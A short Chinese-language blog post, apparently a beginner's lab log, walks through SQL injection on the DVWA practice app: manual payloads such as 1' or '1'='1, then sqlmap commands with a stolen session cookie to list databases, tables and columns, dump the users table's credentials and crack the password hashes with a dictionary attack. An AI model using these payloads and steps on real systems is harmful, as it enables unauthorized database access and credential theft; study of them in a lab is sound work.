SQL注入以及sqlmap初體驗
阿新 • • 發佈:2020-08-17
- 隨便輸入
1
,出現結果。
- 輸入
1'
,報錯,看來存在sql注入漏洞。
- 輸入
1' or '1'='1
,果然彈出了所有的資訊。
-
下面利用sqlmap工具
-
輸入
sqlmap.py -u "url"
- 顯示302重定向至登陸介面,看來需要帶上cookie,F12選擇網路或者burp抓包獲取cookie。
sqlmap.py -u "~~~" --cookie "~~~"
- 下面用
--dbs
得到所有資料庫
sqlmap.py -u "~~~" --cookie "~~~" --dbs
- 用
--tables -D "dvwa"
得到dvwa資料庫下的表
- 用
--columns -T "users" -D "dvwa"
引數得到dvwa資料庫下面的表users下面的列(columns)。
- 以及快接近到最重要的部分了,可以看到以及出現了user和密碼。
- 用
--dump -C "user_id,user,password" -T "user" -D "dvwa"
引數得到dvwa資料庫下面的表users---下面的列(Columns)的具體值,即某(些)屬性的具體值。
sqlmap.py -u "~~~" --cookie "~~~" --dump -C "user_id,user,password" -T "user" -D "dvwa"
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
是否要將雜湊儲存到臨時檔案中,以便最終使用其他工具進一步處理[y/N]
- 我選的n
do you want to crack them via a dictionary-based attack? [Y/n/q]
是否想通過基於字典的攻擊來破解它們[Y/n/q]
- Y
what dictionary do you want to use?
用什麼字典來破解
[1] default dictionary file 'D:\ctftools\sqlmap\sqlmap\sqlmapproject-sqlmap-d4d83b2\data\txt\wordlist.tx_' (press Enter)
預設字典檔案'~~~'(按下回車)
[2] custom dictionary file
自定義字典
[3] file with list of dictionary files
帶有字典檔案列表的檔案
- 1
- 成功!